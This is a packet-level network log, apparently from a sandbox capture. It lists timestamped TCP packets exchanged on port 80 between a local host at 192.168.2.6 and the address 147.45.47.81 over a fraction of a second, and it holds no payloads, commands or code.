Oct 30, 2024 15:44:46.150048971 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150082111 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150093079 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.150115967 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150149107 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150156975 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.150197983 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150233984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150238991 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.150266886 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150300026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150305986 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.150332928 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150365114 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150388002 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.150398016 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150429964 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150439978 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.150463104 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150496960 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150521994 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.150528908 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150562048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150571108 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.150593996 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150628090 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150633097 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.150660992 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150693893 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150711060 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.150728941 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150762081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150768042 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.150796890 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150841951 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.151057959 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151089907 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151124954 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151133060 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.151155949 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151202917 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.151209116 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151241064 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151274920 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151282072 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.151356936 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151391029 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151408911 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.151422977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151457071 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151468992 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.151489973 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151523113 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151540041 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.151559114 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151591063 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151599884 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.151624918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151658058 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151670933 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.151695013 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151743889 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151763916 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.151778936 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.151818991 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.151901007 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152033091 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152066946 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152071953 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.152102947 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152143002 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.152152061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152185917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152219057 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152228117 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.152270079 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152302027 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152312994 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.152335882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152368069 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152374983 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.152401924 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152436018 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152460098 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.152468920 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152502060 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152523994 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.152538061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152570009 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152595997 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.152604103 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152637005 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152645111 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.152672052 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152715921 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.152846098 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152894020 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152928114 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.152935028 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.152980089 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153012991 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153016090 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.153044939 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153093100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153129101 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153132915 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.153162003 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153172016 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.153194904 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153228045 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153234959 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.153264999 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153300047 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153306007 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.153331995 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153364897 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153369904 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.153398037 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153433084 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153439045 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.153465033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153498888 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153506994 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.153532982 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153570890 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.153780937 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153832912 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153867006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153876066 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.153899908 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153939962 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.153951883 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.153984070 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154016972 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154033899 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.154048920 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154084921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154094934 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.154119015 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154151917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154155970 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.154186010 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154242992 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.154305935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154356956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154390097 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154406071 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.154439926 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154472113 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154481888 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.154505014 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154544115 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.154553890 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154587984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154620886 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154628038 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.154670954 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154705048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154710054 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.154736996 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154768944 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154777050 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.154802084 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154835939 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154839993 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.154870033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154902935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154913902 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.154937029 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154968977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.154975891 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.155004025 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155044079 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.155364990 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155416012 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155466080 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155488968 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.155499935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155550957 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155551910 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.155586004 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155617952 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155637026 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.155651093 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155666113 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155689955 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.155693054 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155725002 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155730009 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.155740023 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155754089 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155771017 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155775070 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.155786037 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155802011 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155806065 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.155816078 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155831099 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155837059 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.155846119 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155862093 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.155870914 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.155903101 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.156217098 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.156267881 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.156322956 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.156348944 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.156363964 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.156388044 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.156399965 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.156403065 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.156419039 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.156434059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.156441927 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.156449080 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.156469107 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.157326937 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.164084911 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.164112091 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.164127111 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.164141893 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.164164066 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.164167881 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.164180040 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.164220095 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.164949894 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.164975882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.164989948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165016890 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.165020943 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165036917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165052891 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165071964 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.165085077 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165098906 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.165102959 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165138006 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.165251017 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165283918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165308952 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165323019 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165333986 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.165360928 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.165361881 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165374041 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165389061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165410042 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.165595055 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165610075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165642977 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.165724039 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165766001 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.165776014 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165808916 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165860891 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165869951 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.165910006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165949106 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.165951967 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.165980101 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.166013956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.166017056 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.166045904 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.166080952 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.166098118 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.167026043 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167076111 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.167148113 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167198896 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167231083 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167233944 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.167283058 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167330027 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167361975 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.167382002 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167417049 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167424917 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.167452097 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167484045 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167512894 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.167534113 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167567968 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167586088 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.167601109 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167634010 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167659044 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.167682886 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167712927 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167731047 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.167762041 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167794943 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167845964 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.167845964 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167880058 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167912960 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167918921 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.167948961 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.167952061 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.167982101 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168015003 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168018103 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.168047905 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168081045 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168114901 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168138981 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.168148041 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168154955 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.168179989 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168214083 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168246031 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168253899 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.168283939 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168297052 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.168317080 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168350935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168382883 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168387890 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.168416023 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168423891 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.168447971 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168483019 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168500900 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.168515921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168550014 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168560028 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.168586969 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168621063 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.168627977 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.172035933 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172070026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172091007 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.172122955 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172156096 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172164917 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.172188997 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172234058 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.172238111 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172271967 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172303915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172312021 CET	49995	80	192.168.2.6	147.45.47.81
